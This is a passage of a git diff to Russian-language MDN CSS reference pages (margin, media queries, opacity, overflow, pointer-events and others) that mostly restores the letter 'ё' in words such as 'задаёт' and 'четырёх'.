a/files/ru/web/css/margin-inline-start/index.html +++ b/files/ru/web/css/margin-inline-start/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/margin-inline-start --- <p>{{CSSRef}}{{SeeCompatTable}}</p> -<p>Свойство <strong><code>margin-inline-start</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> задает логическое строковое (inline) значение start margin элемента, которое сопоставляется с физическим значением margin в зависимости от режима записи (writing_mode) элемента, направленности и ориентации текста. Это логическое свойство соответствует одному из свойств {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} в зависимости от значений {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.</p> +<p>Свойство <strong><code>margin-inline-start</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> задаёт логическое строковое (inline) значение start margin элемента, которое сопоставляется с физическим значением margin в зависимости от режима записи (writing_mode) элемента, направленности и ориентации текста. Это логическое свойство соответствует одному из свойств {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} в зависимости от значений {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.</p> <pre class="brush:css no-line-numbers">/* <length> values */ margin-inline-start: 10px; /* абсолютная величина */ diff --git a/files/ru/web/css/margin-left/index.html b/files/ru/web/css/margin-left/index.html index ae301e9b36..870fe59a5d 100644 --- a/files/ru/web/css/margin-left/index.html +++ b/files/ru/web/css/margin-left/index.html @@ -41,7 +41,7 @@ margin-left: unset; <dt>{{cssxref("<percentage>")}}</dt> <dd>Размер отступа в процентах - размер относительно длины родительского блока.</dd> <dt><code>auto</code></dt> - <dd>Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">выбранным способом разметки</a>. Если значения <code>margin-left</code> и <code>margin-right</code> одновременно установлены как <code>auto</code>, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные: + <dd>Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">выбранным способом разметки</a>. Если значения <code>margin-left</code> и <code>margin-right</code> одновременно установлены как <code>auto</code>, расчётное пространство распределяется равномерно. Эта таблица кратко излагает различные: <table class="standard-table"> <thead> <tr> diff --git a/files/ru/web/css/margin-right/index.html b/files/ru/web/css/margin-right/index.html index d21ce8cdfd..e8fbfc332f 100644 --- a/files/ru/web/css/margin-right/index.html +++ b/files/ru/web/css/margin-right/index.html @@ -41,7 +41,7 @@ margin-right: unset; <dt>{{cssxref("<percentage>")}}</dt> <dd>Размер отступа в процентах - размер относительно длины родительского блока.</dd> <dt><code>auto</code></dt> - <dd>Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">выбранным способом разметки</a>. Если значения <code>margin-left</code> и <code>margin-right</code> одновременно установлены как <code>auto</code>, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные: + <dd>Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном <a href="https://developer.mozilla.org/ru/docs/Web/CSS/%D0%A1%D0%BF%D0%BE%D1%81%D0%BE%D0%B1_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F">выбранным способом разметки</a>. Если значения <code>margin-left</code> и <code>margin-right</code> одновременно установлены как <code>auto</code>, расчётное пространство распределяется равномерно. Эта таблица кратко излагает различные: <table class="standard-table"> <thead> <tr> diff --git a/files/ru/web/css/margin/index.html b/files/ru/web/css/margin/index.html index 62c2f9ec7a..8841f9ed8c 100644 --- a/files/ru/web/css/margin/index.html +++ b/files/ru/web/css/margin/index.html @@ -11,7 +11,7 @@ translation_of_original: Web/CSS/margin-new --- <div>{{CSSRef}}</div> -<p>Свойство <strong><code>margin</code></strong> <a href="/ru/CSS" title="CSS">CSS</a> определяет <a href="/ru/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">внешний отступ</a> на всех четырех сторонах элемента. Это сокращение, которое устанавливает все отдельные поля одновременно: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}.</p> +<p>Свойство <strong><code>margin</code></strong> <a href="/ru/CSS" title="CSS">CSS</a> определяет <a href="/ru/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">внешний отступ</a> на всех четырёх сторонах элемента. Это сокращение, которое устанавливает все отдельные поля одновременно: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}.</p> <pre class="brush:css no-line-numbers">/* Применяется ко всем четырём сторонам */ margin: 1em; @@ -49,7 +49,7 @@ margin: unset; <div class="cell"> <div class="m m4">margin: 5px 1em 0 auto</div> </div> - <div class="note">Все вышеприведенные блоки имеют одинаковую ширину 50%</div> + <div class="note">Все вышеприведённые блоки имеют одинаковую ширину 50%</div> </div> </div></pre> @@ -112,10 +112,10 @@ margin: unset; <h2 id="Синтаксис">Синтаксис</h2> -<p>Свойство <code>margin</code> может быть задано с использованием одного, двух, трех или четырех значений. Каждое значение имеет тип <code><a href="#<length>"><length></a></code>, <code><a href="#<percentage>"><percentage></a></code> или является ключевым словом <code><a href="#auto">auto</a></code>. Каждое значение может быть положительным, отрицательным или равным нулю.</p> +<p>Свойство <code>margin</code> может быть задано с использованием одного, двух, трёх или четырёх значений. Каждое значение имеет тип <code><a href="#<length>"><length></a></code>, <code><a href="#<percentage>"><percentage></a></code> или является ключевым словом <code><a href="#auto">auto</a></code>. Каждое значение может быть положительным, отрицательным или равным нулю.</p> <ul> - <li>Когда определено <strong>одно</strong> значение, такое значение определено для <strong>всех четырех сторон</strong>.</li> + <li>Когда определено <strong>одно</strong> значение, такое значение определено для <strong>всех четырёх сторон</strong>.</li> <li>Когда определены <strong>два</strong> значения, то первое значение определяет внешний отступ для <strong>верхней и нижней</strong> стороны, а второе значение определяет отступ для <strong>левой и правой стороны</strong>.</li> <li>Когда определены <strong>три</strong> значение, то первое значение определяет внешний отступ для <strong>верхней</strong> стороны, второе значение определяет внешний отступ для <strong>левой и правой стороны</strong>, а третье значение определяет отступ для <strong>нижней</strong> стороны.</li> <li>Когда определены <strong>четыре</strong> значения, они определяют внешние отступы для <strong>верхней</strong> стороны, <strong>справа</strong>, <strong>снизу</strong> и <strong>слева</strong> в рассмотренном порядке (по часовой стрелке).</li> diff --git a/files/ru/web/css/max-block-size/index.html b/files/ru/web/css/max-block-size/index.html index 416987e8b3..bce04c2a67 100644 --- a/files/ru/web/css/max-block-size/index.html +++ b/files/ru/web/css/max-block-size/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/max-block-size --- <p>{{CSSRef}}{{SeeCompatTable}}</p> -<p><a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> свойство<strong> <code>max-block-size</code></strong> определяет максимальный горизонтальный или вертикальный размер блока в зависимости от вида ориентации экрана. Это свойство соответствует либо {{cssxref("max-width")}}, либо {{cssxref("max-height")}}, в зависимости от значения определенного в {{cssxref("writing-mode")}}. Если последнее свойство вертикально ориентировано, значит значение свойства <code>max-block-size</code> относится к максимальной ширине блока, в противном случае относится к максимальной высоте блока. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.</p> +<p><a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> свойство<strong> <code>max-block-size</code></strong> определяет максимальный горизонтальный или вертикальный размер блока в зависимости от вида ориентации экрана. Это свойство соответствует либо {{cssxref("max-width")}}, либо {{cssxref("max-height")}}, в зависимости от значения определённого в {{cssxref("writing-mode")}}. Если последнее свойство вертикально ориентировано, значит значение свойства <code>max-block-size</code> относится к максимальной ширине блока, в противном случае относится к максимальной высоте блока. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.</p> <pre class="brush:css no-line-numbers">/* <length> values */ max-block-size: 300px; diff --git a/files/ru/web/css/media_queries/index.html b/files/ru/web/css/media_queries/index.html index 148efccbea..63d4f820cb 100644 --- a/files/ru/web/css/media_queries/index.html +++ b/files/ru/web/css/media_queries/index.html @@ -14,9 +14,9 @@ translation_of: Web/CSS/Media_Queries --- <div>{{CSSRef("CSS3 Media Queries")}}</div> -<p><strong>Media Queries</strong> - ключевой компонент <a href="/en-US/docs/Web/Apps/Progressive/Responsive">отзывчивого дизайна</a>, который делает возможным для CSS адаптироваться в зависимости от различных параметров или характеристик устройства. Например, media query может применить различные стили если экран меньше определенного размера, или в зависимости от того находится устройство в портретном или альбомном режиме. {{cssxref("@media")}} at-правило используется чтобы задать условия применения стилей к документу.</p> +<p><strong>Media Queries</strong> - ключевой компонент <a href="/en-US/docs/Web/Apps/Progressive/Responsive">отзывчивого дизайна</a>, который делает возможным для CSS адаптироваться в зависимости от различных параметров или характеристик устройства. Например, media query может применить различные стили если экран меньше определённого размера, или в зависимости от того находится устройство в портретном или альбомном режиме. {{cssxref("@media")}} at-правило используется чтобы задать условия применения стилей к документу.</p> -<p>Кроме того, media query синтаксис используется в других контекстах, таких как атрибут {{htmlattrxref("media", "source")}} элемента {{HTMLElement("source")}}, который может быть установлен в media query строку, чтобы определять нужно или нет использовать этот источник, когда выбирается определенное изображение для использования в элементе {{HTMLElement("picture")}}.</p> +<p>Кроме того, media query синтаксис используется в других контекстах, таких как атрибут {{htmlattrxref("media", "source")}} элемента {{HTMLElement("source")}}, который может быть установлен в media query строку, чтобы определять нужно или нет использовать этот источник, когда выбирается определённое изображение для использования в элементе {{HTMLElement("picture")}}.</p> <p>In addition, the {{domxref("Window.matchMedia()")}} method can be used to test the window against a media query. You can also use {{domxref("MediaQueryList.addListener()")}} to be notified whenever the state of the queries changes. With this functionality, your site or app can respond to changes in the device configuration, orientation, or state.</p> diff --git a/files/ru/web/css/media_queries/testing_media_queries/index.html b/files/ru/web/css/media_queries/testing_media_queries/index.html index facf42b21c..34880c4015 100644 --- a/files/ru/web/css/media_queries/testing_media_queries/index.html +++ b/files/ru/web/css/media_queries/testing_media_queries/index.html @@ -42,7 +42,7 @@ mediaQueryList.addListener(handleOrientationChange); // Добавление к handleOrientationChange(mediaQueryList); // Запуск обработчика изменений, один раз. </pre> -<p>Этот код создает список медиавыражений для тестирование ориентации, а затем добавляет к нему обработчик событий. После добавления обработчика, мы, также, непосредственно вызываем обработчик. Это заставляет нашего обработчика выполнять настройки, основываясь на текущей ориентации устройства; в противном случае, наш код может предполагать, что устройство находится в книжной ориентации при запуске, даже если оно фактически находится в альбомном положении.</p> +<p>Этот код создаёт список медиавыражений для тестирование ориентации, а затем добавляет к нему обработчик событий. После добавления обработчика, мы, также, непосредственно вызываем обработчик. Это заставляет нашего обработчика выполнять настройки, основываясь на текущей ориентации устройства; в противном случае, наш код может предполагать, что устройство находится в книжной ориентации при запуске, даже если оно фактически находится в альбомном положении.</p> <p>Функция <code>handleOrientationChange()</code> будет следить за результатом выражения и обрабатывать все, что нам нужно сделать при изменении ориентации:</p> @@ -57,11 +57,11 @@ handleOrientationChange(mediaQueryList); // Запуск обработчика <p>Выше, мы определяем параметры как <code>evt</code> — event объект. Это имеет значение, поскольку <a href="/en-US/docs/Web/API/MediaQueryList#Browser_compatibility">новые реализации <code>MediaQueryList</code></a> обрабатывают события стандартным способом. Они больше не используют нестандартный механизм {{domxref("MediaQueryListListener")}} , а используют стандартную настройку обработчика событий, передавая <a href="/en-US/docs/Web/API/Event">объект event</a> {{domxref("MediaQueryListEvent")}} как аргумент колбэк-функции.</p> -<p>Этот event объект также включает свойства {{domxref("MediaQueryListEvent.media","media")}} и {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому вы можете запросить эти свойства <code>MediaQueryList</code> путем прямого доступа к нему или доступа к event объекту.</p> +<p>Этот event объект также включает свойства {{domxref("MediaQueryListEvent.media","media")}} и {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому вы можете запросить эти свойства <code>MediaQueryList</code> путём прямого доступа к нему или доступа к event объекту.</p> <h2 id="Уведомление_о_завершении_выражения">Уведомление о завершении выражения</h2> -<p>Для прекращения уведомлений об изменении значения вашего медиавыражения вызовите метод <code>removeListener()</code> для {{domxref("MediaQueryList") }}, передав ему имя, ранее определенной функции:</p> +<p>Для прекращения уведомлений об изменении значения вашего медиавыражения вызовите метод <code>removeListener()</code> для {{domxref("MediaQueryList") }}, передав ему имя, ранее определённой функции:</p> <pre class="brush: js">mediaQueryList.removeListener(handleOrientationChange); </pre> diff --git a/files/ru/web/css/media_queries/using_media_queries/index.html b/files/ru/web/css/media_queries/using_media_queries/index.html index 9923ab8f1e..07014138a2 100644 --- a/files/ru/web/css/media_queries/using_media_queries/index.html +++ b/files/ru/web/css/media_queries/using_media_queries/index.html @@ -4,7 +4,7 @@ slug: Web/CSS/Media_Queries/Using_media_queries tags: - Веб - Медиа - - Медиа верстка + - Медиа вёрстка - Медиавыражения - Отзывчивый дизайн - Продвинутый @@ -30,7 +30,7 @@ translation_of: Web/CSS/Media_Queries/Using_media_queries <h2 id="Узконаправленные_media">Узконаправленные @media</h2> -<p><a href="/en-US/docs/CSS/@media#Media_features">Media features</a> описывают некие характеристики определенного {{glossary("user agent")}}, устройства вывода или окружения. Например, Вы можете применить выбранные стили только для широкоэкранных мониторов, компьютеров с мышью, или для устройств, которые используются в условиях слабой освещенности. В примере ниже стили будут применены только когда <em>основное </em>устройство ввода пользователя (например мышь) будет расположено над элементами:</p> +<p><a href="/en-US/docs/CSS/@media#Media_features">Media features</a> описывают некие характеристики определённого {{glossary("user agent")}}, устройства вывода или окружения. Например, Вы можете применить выбранные стили только для широкоэкранных мониторов, компьютеров с мышью, или для устройств, которые используются в условиях слабой освещённости. В примере ниже стили будут применены только когда <em>основное </em>устройство ввода пользователя (например мышь) будет расположено над элементами:</p> <pre class="brush: css">@media (hover: hover) { ... }</pre> @@ -38,7 +38,7 @@ translation_of: Web/CSS/Media_Queries/Using_media_queries <pre class="brush: css">@media (max-width: 12450px) { ... }</pre> -<p>Если вы создаете медиавыражение без указания значения, вложенные стили будут использоваться до тех пор, пока значение функции не равно нулю. Например, этот CSS будет применяться к любому устройству с цветным экраном:</p> +<p>Если вы создаёте медиавыражение без указания значения, вложенные стили будут использоваться до тех пор, пока значение функции не равно нулю. Например, этот CSS будет применяться к любому устройству с цветным экраном:</p> <pre class="brush: css">@media (color) { ... }</pre> diff --git a/files/ru/web/css/object-fit/index.html b/files/ru/web/css/object-fit/index.html index 66c10ac4ed..69cacd65c0 100644 --- a/files/ru/web/css/object-fit/index.html +++ b/files/ru/web/css/object-fit/index.html @@ -23,11 +23,11 @@ translation_of: Web/CSS/object-fit <dt><code>fill</code></dt> <dd>Смещаемый контент меняет свой размер таким образом, чтобы заполнить всю область внутри блока: используется вся ширина и высота блока.</dd> <dt><code>contain</code></dt> - <dd>Смещаемый контент меняет свой размер таким образом, чтобы подстроится под область внутри блока пропорционально собственным параметрам: окончательный размер контента будет определен как "помещенный внутрь" блока, ограничиваясь его шириной и высотой.</dd> + <dd>Смещаемый контент меняет свой размер таким образом, чтобы подстроится под область внутри блока пропорционально собственным параметрам: окончательный размер контента будет определён как "помещённый внутрь" блока, ограничиваясь его шириной и высотой.</dd> <dt><code>cover</code></dt> - <dd>Смещаемый контент меняет свой размер таким образом, чтобы сохранять свои пропорции при заполнении блока: окончательный размер контента будет определен как "покрытие" блока, ограничиваясь его шириной и высотой.</dd> + <dd>Смещаемый контент меняет свой размер таким образом, чтобы сохранять свои пропорции при заполнении блока: окончательный размер контента будет определён как "покрытие" блока, ограничиваясь его шириной и высотой.</dd> <dt><code>none</code></dt> - <dd>Смещаемый контент не изменяет свой размер с целью заполнить пространство блока: конечный размер контента будет определен с использованием алгоритма изменения размера по умолчанию, а также размер объекта по умолчанию равен ширине и высоте смещаемого контента.</dd> + <dd>Смещаемый контент не изменяет свой размер с целью заполнить пространство блока: конечный размер контента будет определён с использованием алгоритма изменения размера по умолчанию, а также размер объекта по умолчанию равен ширине и высоте смещаемого контента.</dd> </dl> <dl> diff --git a/files/ru/web/css/opacity/index.html b/files/ru/web/css/opacity/index.html index 5242bb0220..92b9189692 100644 --- a/files/ru/web/css/opacity/index.html +++ b/files/ru/web/css/opacity/index.html @@ -68,10 +68,10 @@ translation_of: Web/CSS/opacity opacity: 0.2; /* Едва видимый текст на фоне */ } .medium { - opacity: 0.5; /* Видимость текста более четкая на фоне */ + opacity: 0.5; /* Видимость текста более чёткая на фоне */ } .heavy { - opacity: 0.9; /* Видимость текста очень четкая на фоне */ + opacity: 0.9; /* Видимость текста очень чёткая на фоне */ } </pre> @@ -105,9 +105,9 @@ img.opacity:hover { <h2 id="Проблемы_доступности">Проблемы доступности</h2> -<p>Если непрозрачность текста регулируется, важно убедиться, что коэффициент контрастности между цветом текста и фоном, на котором размещен текст, достаточно высок, чтобы люди, испытывающие проблемы со слабым зрением, могли читать содержимое страницы.</p> +<p>Если непрозрачность текста регулируется, важно убедиться, что коэффициент контрастности между цветом текста и фоном, на котором размещён текст, достаточно высок, чтобы люди, испытывающие проблемы со слабым зрением, могли читать содержимое страницы.</p> -<p>Коэффициент цветовой контрастности определяется путем сравнения яркости текста с откорректированной непрозрачностью и значением цвета фона. Чтобы соответствовать действующим <a href="https://www.w3.org/WAI/intro/wcag">Рекомендациям по доступности веб-контента (WCAG)</a>, для текстового содержимого требуется соотношение 4.5:1 и 3:1 для более крупного текста, такого как заголовки. Большой текст определяется как 18.66px и <a href="https://developer.mozilla.org/ru/docs/Web/CSS/font-weight">жирный</a> или крупнее, или 24px или выше.</p> +<p>Коэффициент цветовой контрастности определяется путём сравнения яркости текста с откорректированной непрозрачностью и значением цвета фона. Чтобы соответствовать действующим <a href="https://www.w3.org/WAI/intro/wcag">Рекомендациям по доступности веб-контента (WCAG)</a>, для текстового содержимого требуется соотношение 4.5:1 и 3:1 для более крупного текста, такого как заголовки. Большой текст определяется как 18.66px и <a href="https://developer.mozilla.org/ru/docs/Web/CSS/font-weight">жирный</a> или крупнее, или 24px или выше.</p> <ul> <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li> diff --git a/files/ru/web/css/order/index.html b/files/ru/web/css/order/index.html index a9265b81c8..783af7d5b6 100644 --- a/files/ru/web/css/order/index.html +++ b/files/ru/web/css/order/index.html @@ -55,7 +55,7 @@ order: unset;</pre> </main> <footer>...</footer></pre> -<p>Следующий CSS код должен создать классический блок контента окруженный боковыми панелями. Flexible Box Layout Module автоматически создаёт блоки одинаковой высоты и максимально допустимой ширины.</p> +<p>Следующий CSS код должен создать классический блок контента окружённый боковыми панелями. Flexible Box Layout Module автоматически создаёт блоки одинаковой высоты и максимально допустимой ширины.</p> <pre class="brush:css;">main { display: flex; text-align:center; } main > article { flex:1; order: 2; } diff --git a/files/ru/web/css/orphans/index.html b/files/ru/web/css/orphans/index.html index d6c5385e17..b279776262 100644 --- a/files/ru/web/css/orphans/index.html +++ b/files/ru/web/css/orphans/index.html @@ -2,7 +2,7 @@ title: orphans slug: Web/CSS/orphans tags: - - Верстка + - Вёрстка - печать - разрыв страницы - фрагментация diff --git a/files/ru/web/css/overflow-block/index.html b/files/ru/web/css/overflow-block/index.html index ead0067598..2756cb66f9 100644 --- a/files/ru/web/css/overflow-block/index.html +++ b/files/ru/web/css/overflow-block/index.html @@ -31,7 +31,7 @@ overflow-block: unset; <dl> <dt><code>visible</code></dt> - <dd>Содержимое не обрезается и может отображаться за пределами начального и конечного краев блока отступа.</dd> + <dd>Содержимое не обрезается и может отображаться за пределами начального и конечного краёв блока отступа.</dd> <dt><code>hidden</code></dt> <dd>При необходимости содержимое обрезается, чтобы соответствовать размеру блока в поле заполнения. Полосы прокрутки отсутствуют.</dd> <dt><code>scroll</code></dt> diff --git a/files/ru/web/css/overflow-wrap/index.html b/files/ru/web/css/overflow-wrap/index.html index fda01d4824..8c5409417a 100644 --- a/files/ru/web/css/overflow-wrap/index.html +++ b/files/ru/web/css/overflow-wrap/index.html @@ -12,7 +12,7 @@ translation_of: Web/CSS/overflow-wrap <p class="hidden">Исходники для интерактивных примеров хранятся в GitHub репозитории. Если вы хотите поучаствовать в проекте с примерами, пожалуйста, склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и пришлите нам пул реквест.</p> <div class="note"> -<p><strong>Note:</strong> В отличие от {{cssxref("word-break")}}, <code>overflow-wrap</code> создает перенос только, если целое слово не может быть размещено на своей линии без переполнения</p> +<p><strong>Note:</strong> В отличие от {{cssxref("word-break")}}, <code>overflow-wrap</code> создаёт перенос только, если целое слово не может быть размещено на своей линии без переполнения</p> </div> <p>Изначально свойство <code>word-wrap</code> не было стандартом, хотя и было реализовано большинством браузеров. Впоследствии оно было переименовано в <code>overflow-wrap</code> c алиасом <code>word-wrap</code>.</p> @@ -30,7 +30,7 @@ overflow-wrap: initial; overflow-wrap: unset; </pre> -<p>Свойство <code>overflow-wrap</code> задается с помощью ключевого слова и выбирается из списка значений приведенных ниже:</p> +<p>Свойство <code>overflow-wrap</code> задаётся с помощью ключевого слова и выбирается из списка значений приведённых ниже:</p> <h3 id="Values">Values</h3> diff --git a/files/ru/web/css/overflow/index.html b/files/ru/web/css/overflow/index.html index 58a572c013..00bac1115d 100644 --- a/files/ru/web/css/overflow/index.html +++ b/files/ru/web/css/overflow/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/overflow <p>Свойство CSS <code>overflow</code> определяет, необходимо ли для переполненного блочного элемента содержимое обрезать, предоставить полосы прокрутки или просто отобразить.</p> -<p>Использование свойства <code>overflow</code> со значениями, отличными от <code>visible</code>, (значение, принятое по умолчанию), создаёт новый <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">блочный контекст форматирования</a>. Это технически необходимо, поскольку если бы float пересекался с элементом прокрутки, это потребовало бы обеспечить обтекание содержимого прокручиваемого элемента вокруг вторгающихся float'ов. Обтекание при этом было бы необходимо производить после каждого шага прокрутки заново, что привело бы к заметному замедлению прокрутки. Обратите внимание, что при программной установке атрибута <code>scrollTop</code> для соответствующего HTML-элемента, даже если <code>overflow</code> имеет значение <code>hidden</code>, элемент, возможно, придется прокрутить.</p> +<p>Использование свойства <code>overflow</code> со значениями, отличными от <code>visible</code>, (значение, принятое по умолчанию), создаёт новый <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">блочный контекст форматирования</a>. Это технически необходимо, поскольку если бы float пересекался с элементом прокрутки, это потребовало бы обеспечить обтекание содержимого прокручиваемого элемента вокруг вторгающихся float'ов. Обтекание при этом было бы необходимо производить после каждого шага прокрутки заново, что привело бы к заметному замедлению прокрутки. Обратите внимание, что при программной установке атрибута <code>scrollTop</code> для соответствующего HTML-элемента, даже если <code>overflow</code> имеет значение <code>hidden</code>, элемент, возможно, придётся прокрутить.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/overscroll-behavior/index.html b/files/ru/web/css/overscroll-behavior/index.html index acdb9c8c05..58377262db 100644 --- a/files/ru/web/css/overscroll-behavior/index.html +++ b/files/ru/web/css/overscroll-behavior/index.html @@ -23,7 +23,7 @@ overflow: initial; overflow: unset; </pre> -<p>По умолчанию, мобильные браузеры как правило обеспечивают эффект "отскока" или даже обновляют страницу при достижение ее верхней или нижней части (или другой области прокрутки). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called <strong>scroll chaining</strong>.</p> +<p>По умолчанию, мобильные браузеры как правило обеспечивают эффект "отскока" или даже обновляют страницу при достижение её верхней или нижней части (или другой области прокрутки). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called <strong>scroll chaining</strong>.</p> <p>In some cases these behaviors are not desirable. you can use <code>overscroll-behavior</code> to get rid of unwanted scroll chaining and the browser's Facebook/Twitter app-inspired "pull to refresh"-type behavior.</p> diff --git a/files/ru/web/css/padding-left/index.html b/files/ru/web/css/padding-left/index.html index 0e4c4a28ed..f669f782d3 100644 --- a/files/ru/web/css/padding-left/index.html +++ b/files/ru/web/css/padding-left/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/padding-left <p>Внутренний отступ элемента (англ. "padding") - это пространство между его содержимым и его границей.</p> <div class="blockIndicator note"> -<p><strong>Примечание:</strong> Свойство {{cssxref ("padding")}} можно использовать для установки внутренних отступов на всех четырех сторонах элемента одним значением.</p> +<p><strong>Примечание:</strong> Свойство {{cssxref ("padding")}} можно использовать для установки внутренних отступов на всех четырёх сторонах элемента одним значением.</p> </div> <h2 id="Syntax" name="Syntax"><font><font>Синтаксис</font></font></h2> diff --git a/files/ru/web/css/padding/index.html b/files/ru/web/css/padding/index.html index 8ab7697255..d299d9dbf2 100644 --- a/files/ru/web/css/padding/index.html +++ b/files/ru/web/css/padding/index.html @@ -49,7 +49,7 @@ padding: unset; </dl> <ul> - <li><strong>Одно</strong> значение применяется ко всем четырем сторонам</li> + <li><strong>Одно</strong> значение применяется ко всем четырём сторонам</li> <li><strong>Два</strong> значения применяются: <strong>1.</strong> <em>верхняя и нижняя</em> и <strong>2.</strong> <em>левая и правая</em> стороны</li> <li><strong>Три</strong> значения применяются: <strong>1.</strong> <em>верхняя</em>, <strong>2.</strong> <em>левая и правая</em> и <strong>3.</strong> <em>нижняя</em> стороны</li> <li><strong>Четыре</strong> значения применяются<strong>:</strong> <strong>1.</strong> <em>верхняя</em>, <strong>2.</strong> <em>правая</em>, <strong>3.</strong> <em>нижняя</em> и <strong>4.</strong> <em>левая</em> стороны</li> diff --git a/files/ru/web/css/paint-order/index.html b/files/ru/web/css/paint-order/index.html index c2bcbbf9bf..36f95f78c2 100644 --- a/files/ru/web/css/paint-order/index.html +++ b/files/ru/web/css/paint-order/index.html @@ -27,7 +27,7 @@ paint-order: markers stroke fill; /* отрисовывает маркеры, з <p>Если значение не указано, значением по умолчанию является следующий порядок <code>fill</code>, <code>stroke</code>, <code>markers</code>.</p> -<p>Когда указано одно значение, то сначала отрисовывается оно, затем два других в дефолтном порядке друг относительно друга. Когда указано два значения, они будут отрисованы в указанном порядке, а затем будет отрисовано неопределенное значение.</p> +<p>Когда указано одно значение, то сначала отрисовывается оно, затем два других в дефолтном порядке друг относительно друга. Когда указано два значения, они будут отрисованы в указанном порядке, а затем будет отрисовано неопределённое значение.</p> <div class="note"> <p><strong>Примечание</strong>: В этом случае, маркеры отрисовываются только при рисовании форм SVG. включающих использование свойств <code>marker-*</code> (например <code><a href="/en-US/docs/Web/SVG/Attribute/marker-start">marker-start</a></code>) и элемента <code><a href="/en-US/docs/Web/SVG/Element/marker"><marker></a></code>. Они не применяются к тексту HTML, в этом случае, вы можете определить только порядок <code>stroke</code> и <code>fill</code>.</p> diff --git a/files/ru/web/css/perspective/index.html b/files/ru/web/css/perspective/index.html index b0d1d14fc1..015f838b1e 100644 --- a/files/ru/web/css/perspective/index.html +++ b/files/ru/web/css/perspective/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/perspective <p><em><code>Точка схождения </code></em><code>по умолчанию расположена в центре элемента, но её можно переместить используя свойство </code>{{ cssxref("perspective-origin") }}.</p> -<p>При использовании данного свойства со значениями отличными от 0 или none создается новый <a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">stacking context</a>.</p> +<p>При использовании данного свойства со значениями отличными от 0 или none создаётся новый <a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">stacking context</a>.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/pointer-events/index.html b/files/ru/web/css/pointer-events/index.html index 2c12b8b291..b6a95a4f4a 100644 --- a/files/ru/web/css/pointer-events/index.html +++ b/files/ru/web/css/pointer-events/index.html @@ -91,7 +91,7 @@ img { <h2 id="Примечание">Примечание</h2> -<p>Обратите внимание, что предотвращение того, чтобы элемент был объектом событий мыши, с помощью <code>pointer-events</code> не обязательно означает, что обработчики событий мыши на этом элементе не могут или не будут запускаться. Если у одного из дочерних элементов есть явные <code>pointer-events,</code> позволяющие этому ребенку быть объектом событий мыши, тогда любые события, нацеленные на этого дочернего элемента, будут проходить через родителя, когда событие перемещается вдоль родительской цепочки и запускает обработчики событий на родительском объекте. Конечно, любая активность мыши в точке на экране, которая покрывается родителем, но не дочерним, не будет поймана ни ребенком, ни родителем (он пройдет через «родительский» на «цели» под ним).</p> +<p>Обратите внимание, что предотвращение того, чтобы элемент был объектом событий мыши, с помощью <code>pointer-events</code> не обязательно означает, что обработчики событий мыши на этом элементе не могут или не будут запускаться. Если у одного из дочерних элементов есть явные <code>pointer-events,</code> позволяющие этому ребёнку быть объектом событий мыши, тогда любые события, нацеленные на этого дочернего элемента, будут проходить через родителя, когда событие перемещается вдоль родительской цепочки и запускает обработчики событий на родительском объекте. Конечно, любая активность мыши в точке на экране, 